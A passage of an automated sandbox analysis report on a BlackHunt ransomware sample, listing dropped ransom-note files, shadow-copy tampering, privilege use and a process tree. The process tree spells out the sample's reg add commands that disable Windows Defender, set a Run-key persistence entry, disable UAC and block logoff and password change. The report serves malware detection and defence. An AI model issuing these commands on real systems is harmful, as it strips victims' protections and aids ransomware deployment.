File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationUp_SelectionSubpicture.png	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Prague	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\#BlackHunt_Private.key	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jre7\lib\javaws.jar	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\VideoLAN\VLC\lua\extensions\#BlackHunt_ReadMe.txt	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-applemenu.xml	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-progress-ui.xml	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\VideoLAN\VLC\locale\eu\#BlackHunt_ReadMe.txt	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\#BlackHunt_Private.key	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\#BlackHunt_Private.key	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-keyring.xml	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\#BlackHunt_ReadMe.txt	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\#BlackHunt_ReadMe.txt	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_ja.properties	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Baku	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_PT\#BlackHunt_ReadMe.txt	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\#BlackHunt_Private.key	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\NextMenuButtonIcon.png	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Toronto	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.di.nl_zh_4.4.0.v20140623020002.jar	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\deployed\jdk16\#BlackHunt_Private.key	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.identity_3.4.0.v20140827-1444.jar	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Pohnpei	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Rangoon	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.equinox.simpleconfigurator\bundles.info	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.zh_CN_5.5.0.165303.jar	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.nl_zh_4.4.0.v20140623020002.jar	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-heapdump_ja.jar	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sv\#BlackHunt_ReadMe.txt	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\#BlackHunt_ReadMe.txt	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\ParentMenuButtonIcon.png	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\#BlackHunt_ReadMe.hta	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.txt	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\jvmticmlr.h	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.nl_ja_4.4.0.v20140623020002.jar	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-snaptracer_zh_CN.jar	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\#BlackHunt_Private.key	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passport_mask_right.png	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\feature.xml	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\#BlackHunt_ReadMe.hta	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2664	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
808	vssadmin.exe
1968	vssadmin.exe
2432	vssadmin.exe
4068	vssadmin.exe
4060	vssadmin.exe
1352	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3500	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3724	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1656	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
Token: SeRestorePrivilege	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
Token: SeBackupPrivilege	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
Token: SeTakeOwnershipPrivilege	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
Token: SeAuditPrivilege	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
Token: SeSecurityPrivilege	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
Token: SeIncBasePriorityPrivilege	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
Token: SeBackupPrivilege	4076	vssvc.exe
Token: SeRestorePrivilege	4076	vssvc.exe
Token: SeAuditPrivilege	4076	vssvc.exe
Token: SeBackupPrivilege	2736	wbengine.exe
Token: SeRestorePrivilege	2736	wbengine.exe
Token: SeSecurityPrivilege	2736	wbengine.exe
Token: SeSecurityPrivilege	3712	wevtutil.exe
Token: SeBackupPrivilege	3712	wevtutil.exe
Token: SeSecurityPrivilege	3716	wevtutil.exe
Token: SeBackupPrivilege	3716	wevtutil.exe
Token: SeDebugPrivilege	3500	taskkill.exe
Token: SeSecurityPrivilege	2704	wevtutil.exe
Token: SeSecurityPrivilege	3248	wevtutil.exe
Token: SeBackupPrivilege	3248	wevtutil.exe
Token: SeBackupPrivilege	2704	wevtutil.exe
Token: SeSecurityPrivilege	2564	wevtutil.exe
Token: SeBackupPrivilege	2564	wevtutil.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2500 wrote to memory of 2064	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	39
PID 2500 wrote to memory of 2064	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	39
PID 2500 wrote to memory of 2064	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	39
PID 2500 wrote to memory of 2064	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	39
PID 2500 wrote to memory of 2448	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	36
PID 2500 wrote to memory of 2448	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	36
PID 2500 wrote to memory of 2448	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	36
PID 2500 wrote to memory of 2448	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	36
PID 2500 wrote to memory of 2176	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	34
PID 2500 wrote to memory of 2176	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	34
PID 2500 wrote to memory of 2176	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	34
PID 2500 wrote to memory of 2176	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	34
PID 2500 wrote to memory of 2036	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	32
PID 2500 wrote to memory of 2036	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	32
PID 2500 wrote to memory of 2036	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	32
PID 2500 wrote to memory of 2036	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	32
PID 2064 wrote to memory of 2784	2064	cmd.exe	31
PID 2064 wrote to memory of 2784	2064	cmd.exe	31
PID 2064 wrote to memory of 2784	2064	cmd.exe	31
PID 2448 wrote to memory of 2812	2448	cmd.exe	29
PID 2448 wrote to memory of 2812	2448	cmd.exe	29
PID 2448 wrote to memory of 2812	2448	cmd.exe	29
PID 2500 wrote to memory of 2840	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	38
PID 2500 wrote to memory of 2840	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	38
PID 2500 wrote to memory of 2840	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	38
PID 2500 wrote to memory of 2840	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	38
PID 2500 wrote to memory of 2740	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	40
PID 2500 wrote to memory of 2740	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	40
PID 2500 wrote to memory of 2740	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	40
PID 2500 wrote to memory of 2740	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	40
PID 2500 wrote to memory of 2848	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	42
PID 2500 wrote to memory of 2848	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	42
PID 2500 wrote to memory of 2848	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	42
PID 2500 wrote to memory of 2848	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	42
PID 2500 wrote to memory of 2712	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	127
PID 2500 wrote to memory of 2712	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	127
PID 2500 wrote to memory of 2712	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	127
PID 2500 wrote to memory of 2712	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	127
PID 2176 wrote to memory of 2592	2176	cmd.exe	47
PID 2176 wrote to memory of 2592	2176	cmd.exe	47
PID 2176 wrote to memory of 2592	2176	cmd.exe	47
PID 2036 wrote to memory of 1696	2036	cmd.exe	46
PID 2036 wrote to memory of 1696	2036	cmd.exe	46
PID 2036 wrote to memory of 1696	2036	cmd.exe	46
PID 2500 wrote to memory of 2868	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	123
PID 2500 wrote to memory of 2868	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	123
PID 2500 wrote to memory of 2868	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	123
PID 2500 wrote to memory of 2868	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	123
PID 2500 wrote to memory of 2608	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	48
PID 2500 wrote to memory of 2608	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	48
PID 2500 wrote to memory of 2608	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	48
PID 2500 wrote to memory of 2608	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	48
PID 2500 wrote to memory of 2724	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	57
PID 2500 wrote to memory of 2724	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	57
PID 2500 wrote to memory of 2724	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	57
PID 2500 wrote to memory of 2724	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	57
PID 2500 wrote to memory of 2204	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	52
PID 2500 wrote to memory of 2204	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	52
PID 2500 wrote to memory of 2204	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	52
PID 2500 wrote to memory of 2204	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	52
PID 2500 wrote to memory of 2600	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	54
PID 2500 wrote to memory of 2600	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	54
PID 2500 wrote to memory of 2600	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	54
PID 2500 wrote to memory of 2600	2500	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe	54

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe
"C:\Users\Admin\AppData\Local\Temp\ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2740
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2868
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2204
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2172
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2888
- - C:\Windows\system32\reg.exe
